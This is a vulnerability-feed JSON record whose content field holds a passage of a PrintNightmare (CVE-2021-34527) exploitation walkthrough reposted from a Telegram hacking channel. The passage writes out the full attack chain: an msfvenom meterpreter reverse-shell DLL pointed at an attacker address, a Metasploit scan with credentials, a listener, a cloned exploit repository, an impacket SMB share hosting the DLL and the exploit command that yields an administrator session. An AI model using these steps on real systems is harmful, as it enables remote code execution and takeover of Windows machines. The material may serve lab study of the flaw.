{"uuid": "a918eac1-63e3-4472-aea3-ce633fd049d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34527", "type": "seen", "source": "https://t.me/hacking_Attack/43505", "content": "n as admin). You can find Cube0x0\u2019s official PoC here. We will be using a forked version here.msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f dll -o evil.dllhttps://blogger.googleusercontent.com/img/a/AVvXsEhuPKz1-qkbiH6YyS4YRq1sD7zWPg-ZnDz_n1Ryo4n7LkufoWoodkoYzm-RW8Ub9JG40lNsWTbUBGNZ7h43xjkCVI6PRMSrkKscjs2ulg64-W4dDW5Am4NdSuHoZEdsQD-7EYIfcZoDFw-LkBSZ06PUjnRmhv2qvQIBCeUgjqoMBRivPWXvme-F7viOUA=s16000 Now, we can check if the target is vulnerable or not using metasploit\u2019s auxiliary module. Here, I have entered a random path for DLL_PATH argument as I am not running the exploit, I just have to scan. In our testing, we found Metasploit\u2019s printnightmare to be unreliable and hence, we are not showing this technique here. You can test it on your own and see if it works for you though. This run confirmed that victim is vulnerable to printnightmare.use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare\nset RHOSTS 192.168.1.190\nset SMBUser ignite\nset SMBPass 123\nset DLL_PATH /\nexploithttps://blogger.googleusercontent.com/img/a/AVvXsEglBTn-7Q406EupEG4rqdccohxaMM0taLtCcXX9Po0rGiAMpm7HwuHGPRsd8LPYPWb2iHCp_tuZG8toHlIyWPg1Xz-LPDph7vleOT01kFAuLQuQEbQtYYAKeGsp-utOY8a3ZoQRZag3Sq6QxjZpbOvj96HTPkxzziu7N8O7j52BidybdgsB17MOjlZzHg=s16000 We now start a handler beforehand prior to executing our DLL file using the exploit.use multi/handlerhttps://blogger.googleusercontent.com/img/a/AVvXsEjvPWljeXZmeJEaqnmMAsaePtns1u2DeIen1YqrHn-kdJtXCHqE6EvFYeGSwqiSY7xg9nnKIypPRi2HbiowP7YnqZa_VwDNIdCVnlluxngjqDRNBBAwSK5mPACQibk05M745hPGDg9Sur6-DTrUvJVPi_RhHiCQipAuXRd4vf-cKdRFRl3-4BkqgYgQhw=s16000 Now, we need to clone the github repo. We are using a forked version of Cube0x0\u2019s original exploit.git clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527https://blogger.googleusercontent.com/img/a/AVvXsEhpxbZHqM3IylJSg07ByT9OInKzXK7VUHbqDQ-pIQNrjJ7HKiq6KVo0jve9tE-8u1Raw18sZM4l6i7C0bKhUbraV2wrRgBzEmBR_hcTvoY73Qy61wQ_4l286v4OEAskw6YoFLuLQuWmV77of4w5YXazdYKCZVNlYCF0lFAmj4ZEv9oaoRoqPdMcnv8oYg=s16000 Alright, one last step remaining is to host the malicious DLL in our SAMBA server. You can set up a samba server manually in Kali, use Windows host to host this or the easier approach is to use impacket\u2019s smbserver.python3 /usr/share/doc/python3-impacket/examples/smbserver.py share /roothttps://blogger.googleusercontent.com/img/a/AVvXsEhkRc_vf28ZdA73Tu3A8KMTQdOlBxV6DJ4tI-v-Epix0kXjIVjwHLbDD7aRu0BvYXs33W9vwHThm5S5jmUCT2qh2h01sedwZaIAcgsUoRY-j9SeQsDzjpay713OC_YyZX3OdcJ2UR-K8uRz_HYiPFXWB_dUsYmOKSar4blOBh56eyTLZFopy9-Oem3Lkg=s16000 With everything prepped up and ready, we can launch the RCE exploit. The execution is simple./CVE-2021-34527.py ignite:123@192.168.1.190 '\\\\192.168.1.2\\share\\evil.dll'https://blogger.googleusercontent.com/img/a/AVvXsEiLMxAIFHYoDfNFX1Q7hFTX_xewYLi1t8X-ubA7a5mo1OEO8dDkslQVBkL6ue4IYfKYRgTwGZgmBv9NmO8_JyGtPUl1ra5rfsGppXNLy70jypzjqPsAEvajHthVKQ304TkGS53XxhHkhwa3lUSf8yomPpaRW99v7s4DFTV-kZK_5NTUMJBbCYYZHVXxUA=s16000 As you can see, the victim has successfully executed our DLL file and returned us an administrator level session on the victim!___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:54.115274Z"}